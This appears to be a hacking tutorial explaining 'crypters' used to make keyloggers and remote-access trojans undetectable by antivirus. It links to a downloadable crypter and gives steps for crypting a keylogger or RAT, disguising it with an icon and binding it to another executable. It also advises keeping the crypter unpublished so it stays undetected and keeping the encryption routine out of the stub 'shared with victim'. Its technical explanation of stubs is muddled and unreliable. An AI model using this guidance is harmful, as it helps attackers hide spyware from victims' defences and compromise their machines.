For understanding and designing crypters, hackers must be aware of certain terms, most of you already know these terms, but as i am writing this tutorial starting from novice level and take it to elite level at the end. So if you know these terms just read them one more time, as that might help you to clear some of your doubts.
- FUD or UD : Fully undetectable(FUD) means that your virus is not detected by any of the existing antiviruses while undetectable(UD) means detectable by few antiviruses. FUD is our only goal and elite hackers always rely on that.
- Download Free FUD Crypter from here: http://www.ziddu.com/download/16222454/FUDcrypter.rar.html &
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- Open the FUD Crypter select server file as your Keylogger file or RAT file , Then go to Appearance tab check custom icon and select your icon ( i have included a icon pack also )
- Finally click " Crypt " , Now you will get a Crypted file which is totaly undetectable by antiviruses. If you want you can also use Binder software to bind (combine) any other .exe file with your crypted file. Tutorial On Binder Software you can find by going "Start Learning>Hacking Computer> Binder software"
Note: Crypter will remain FUD until you have openly shared on internet. Public crypters remains FUD up to maximum 2 to 3 days then they become UD. So if you want to use crypter for long time so never publish and share that on internet. Use it anonymously.
- STUB : A stub is a small piece of code which contains certain basic functionality which is used again and again. It is similar to package in Java or simply like header files in C ( which already has certain standard functions defined in it). A stub basically simulates the functionality of existing codes similarly like procedures on remote machines or simply PC's. In crypters, client side server is validated using stubs, so never delete stub file from your crypter. Stubs adds portability to crypter code, so that it can be used on any machine without requiring much procedures and resources on other machines.
Let me explain with small example:
Suppose you are writing a code that converts bytes to bits, so we know formula or method for converting bytes to bits will remain same and it will be independent of machine. So our stub (or method stub or procedure) will contain something like this:
BEGIN
totalBits = calculateBits(inputBytes) Compute totalBits = inputBytes * 8 END
Now what we will pass is only number of bytes to this stub. And it will return the resulting bits. Similarly, we include some common machine independent checks and functions in our stub, and in main code we only passes linkage and inputs to these stubs, which in return provides suitable results.
Note: Most of times it happens, suppose you downloaded some keylogger and you complain to provider its not working, only reason for that is stub. Also always kept in your mind, if you are downloading any keylogger or crypter always check stub is present in it. If not, don't download it, its just a piece of waste and for sure hacker is spreading his virus using that. I recommend that never download any hacking tool on your real machine, always use virtual machine or sandbox to test hack tools.
- USV: Unique stub version or simply USV is a part of crypter that generates a unique version of stub which differentiates it from its previous stub, thus makes it more undetectable against antiviruses. For detecting this antivirus companies has to reverse engineer your crypter stub, that is not that easy to do, so it will remain undetectable for long time. This consist of one most important component USG ( unique stub generation) which is the actual part of crypter that encrypts and decrypts the original file means its the heart of your algorithm and i will recommend never write this part in stub, rather include this part in main code. Why i am saying this, stub is part of code which is shared with victim, so it will become public and hence your Crypter will not remain FUD for much long time.